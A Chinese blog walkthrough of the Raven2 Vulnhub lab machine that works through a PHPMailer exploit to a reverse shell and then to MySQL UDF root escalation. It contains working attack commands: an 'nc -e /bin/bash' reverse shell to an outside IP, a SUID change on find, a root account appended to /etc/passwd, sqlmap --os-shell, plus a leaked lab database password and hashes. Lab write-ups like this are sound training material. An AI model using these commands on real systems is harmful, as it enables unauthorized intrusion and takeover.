首页 > 其他分享 >Raven2靶机

Raven2靶机

时间:2024-02-26 17:25:02浏览次数:19  
标签:http dayu 192.168 mysql Raven2 root 靶机 select

首先nmap扫描
nmap -p- -sV 192.168.234.0/24

有80端口访问一下
注:http非加密协议是80端口,https加密协议是443端口

发现有网页我先枚举一下子目录
这里用dirb
dirb http://192.168.234.29/

去这些目录看一下
这里获得第一个flag
这里我说明一下,我没有任何技巧都是一个一个打开看的,这里我们要对一些文件敏感一点类似于配置文件之类的
http://192.168.234.29/vendor/PATH

README.md里面发现PHPMailer
PHPMailer是一个用于发送电子邮件的PHP函数包

这里发现版本号
http://192.168.234.29/vendor/VERSION

在kali里面搜索一下看有没有相关exp
searchsploit PHPMailer

我们将他拿到当前目录
searchsploit -m 40974

需要针对PHPMailer修改参数:
41行:改下地址:http://192.168.234.4/contact.php
42行:后门名称:/dayu.php
44行:改下回弹的IP和端口 192.168.234.4 12345
47行:改下写入shell的目录:/var/www/html/dayu.php

ok现在我们执行exp
python3 40974.py

如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。

此时我们访问http://192.168.234.29/contact.php就会生成后门文件dayu.php
本地开启监听
nc -lvvp 12345
访问:http://192.168.234.29/dayu.php
获得反弹shell
python -c 'import pty;pty.spawn("/bin/bash")'

先找一下flag
find / -name flag*

发现两个flag!读取:
cat /var/www/flag2.txt

访问:
http://10.211.55.10/wordpress/wp-content/uploads/2018/11/flag3.png
获得flag3!

7、wordpress目录枚举
在flag3目录下发现了wordpress目录,然后进行枚举
grep "内容" -rn
grep "password" -rn wp-config.php

define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
获得mysql账号密码信息!

ps aux | grep root ---查看mysql进程信息

root 917 0.1 0.3 1351196 1760 ? Sl Jan07 2:09 /usr/sbin/mysqld --basedir=/

dpkg -l | grep mysql --查看历史安装包版本
5.5.6

mysql是root权限运行的,那么接下来就找mysql提权的方法.

8、mysql UDF 提权
UDF 提权、MOF 提权是非常经典的提权方法!


mysql -uroot -pR@v3nSecurity
select version(); ---查看版本

show databases;
use wordpress
show tables;
select * from wp_users;
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.

首先看一下是否满足写入条件:
show global variables like 'secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录:
show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

查看能否远程登陆:
use mysql;
select user,host from user;
+------------------+-----------+
| user | host |
+------------------+-----------+
| root | 127.0.0.1 |
| root | ::1 |
| debian-sys-maint | localhost |
| root | localhost |
| root | raven |
+------------------+-----------+
5 rows in set (0.00 sec)
发现这里root用户不允许远程登陆,因此不能利用MSF提权。

谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf
https://www.exploit-db.com/exploits/1518
searchsploit 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/桌面

gcc -g -c 1518.c ---GCC编译.o文件
gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

wget http://10.211.55.19:8081/dayu.so

show databases;
use mysql
select database();

进入数据库创建数据表dayu:
create table dayu(line blob);
插入数据文件:
insert into dayu values(load_file('/tmp/dayu.so'));

dayu表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'dayu.so';

查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');

执行find命令
使用find执行 shell
touch dayu
find dayu -exec "/bin/sh" ;
或者:find dayu -exec "id" ;
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}


mysql -uroot -pR@v3nSecurity
show databases;
use mysql
select database();

create table dayu(line blob);
insert into dayu values(load_file('/tmp/dayu.so'));
select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';
create function do_system returns integer soname 'dayu.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');

拓展知识点:或者利用sys_exec、sys_eval

select do_system('nc -nv 10.211.55.28 6677 -e /bin/bash');


openssl passwd dayu
YpIR51FecR9AY
select do_system('echo "dayu:xFzxgAbLwwOOA:0:0:root:/root:/bin/bash" >> /etc/passwd');
su dayu


仅限/bin/bash模式:
python -c 'import pty;pty.spawn("/bin/bash")'
Ctl z
stty raw -echo
fg

cewl http://10.211.55.10/wordpress/ -w user.txt
git clone https://github.com/Rhynorater/CVE-2018-15473-Exploit.git
cd CVE-2018-15473-Exploit/

pip3 install -r requirements.txt
proxychains pip3 install --upgrade paramiko==2.4.1

如果可以远程:
mysql_udf_payload
sqlmap -d "mysql://root:[email protected]:3306/mysql" --os-shell

标签:http,dayu,192.168,mysql,Raven2,root,靶机,select
From: https://www.cnblogs.com/TessCat/p/17963636

相关文章

  • Dr4g0nB4ll - Vulnhub靶机
    Dr4g0nB4ll-Vulnhub靶机主机发现192.168.30.133信息收集└─$nmap-sV-A192.168.30.133StartingNmap7.94(https://nmap.org)at2024-02-2203:26ESTNmapscanreportfor192.168.30.133Hostisup(0.0013slatency).Notshown:998closedtcpports(conn......
  • 靶机Matrix-Breakout 2 Morpheus
    Matrix-Breakout2Morpheus笔记拿到靶机先扔VMware信息收集没其他东西了,于是先在nmap收集信息nmap-sn192.168.0.0/24-snPing扫描-禁用端口扫描发现靶机地址为192.168.0.104,继续收集信息,先给一套组合拳nmap-T4-sV-p--A192.168.0.104-sV:此选项启用版本检测。......
  • 【虚拟机新手起步02】4步完成OWASP靶机下载安装。
    OWASP靶机下载安装详细过程一、OWASP靶机下载二、OWASP解压三、OWASP安装四、OWASP启动运行一.OWASP靶机下载:https://sourceforge.net/projects/owaspbwa/files/二.OWASP解压保证磁盘容量有10G左右或以上,解压下载的OWASP压缩包解压缩完成:三.OWASP安装打开......
  • Kali学习笔记-03-部署OWASP靶机
    Kali学习笔记-03-部署OWASP靶机KaliLinux网络安防一、下载安装下载地址是https://sourceforge.net/projects/owaspbwa/files/。下载之后得到一个叫OWASP_Broken_Web_Apps_VM_1.2.7z的压缩文件。解压,然后在VMWare中打开解压后得到的虚拟机即可。二、登录在虚拟机的描述......
  • 【第6个渗透靶机项目】 LordOfTheRoot_1.0.1
    每天都要加油啊!    ------2024-01-27 11:10:510x00  信息搜集靶场提示信息,[email protected]扫描靶机,发现只开通了ssh服务那么全面扫描一下吧!那只能从靶场提示信息入手了!登陆一下[email protected]吧。意思是让敲震端口3次!让我们了解一下端口碰撞:端口......
  • 【第5个渗透靶机项目】 5-w1r3s.v1.0
    每天都要加油啊!0x00  信息搜集nmap发现靶机位置全端口扫描一下。21端口是ftp支持未授权匿名访问0x01  FTP未授权访问登陆ftp。将content文件夹的内容全部下载下来01.txt:一个服务cat02.txt有两个值下面的显然是base64.用linux自带的命令行解码echo"SXQ......
  • 【第4个渗透靶机项目】 Tr0ll
    每天都要加油哦!0x00  信息搜集首先找到一下靶机的ip,并扫描端口。靶机和kali都是桥接。那么先看一下kali的ifconfig信息。nmap-sn192.168.0.0/24 因为我扫的太慢了。所以就仅扫描主机了.11是kali。猜测10是靶机。扫描一下端口。┌──(root㉿wxw)-[~]└─#nmap......
  • AI-WEB-1.0靶机
    AI-WEB-1.0靶机情报收集扫描靶机,打开网站提示NotevenGooglesearchmycontents!dirbhttp://192.168.218.139扫描网站进入爬虫协议User-agent:*Disallow:Disallow:/m3diNf0/Disallow:/se3reTdir777/uploads/进入两个网站都报错,dirb再次扫描两个网站打......
  • vulnhub-raven2(数据库提权)
    环境准备:kali-192.168.0.129靶机-192.168.0.103演示访问web存在一个/vendor目录,目录下可以发现使用了phpmailer 使用searchsploit搜索,复制到当前目录。 编辑脚本,在脚本开头加上,修改如下地方#!/usr/bin/python#-*-coding:utf-8-*- 之后python执行 使用......
  • DC-9靶机做题记录
    靶机下载地址:链接:https://pan.baidu.com/s/1LR44-oFnO6NU6bTNs7VNrw?pwd=hzke提取码:hzke参考:【DC系列靶机DC9通关讲解】https://www.bilibili.com/video/BV1p24y1s78C/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef靶机下载地址:http://www.five86......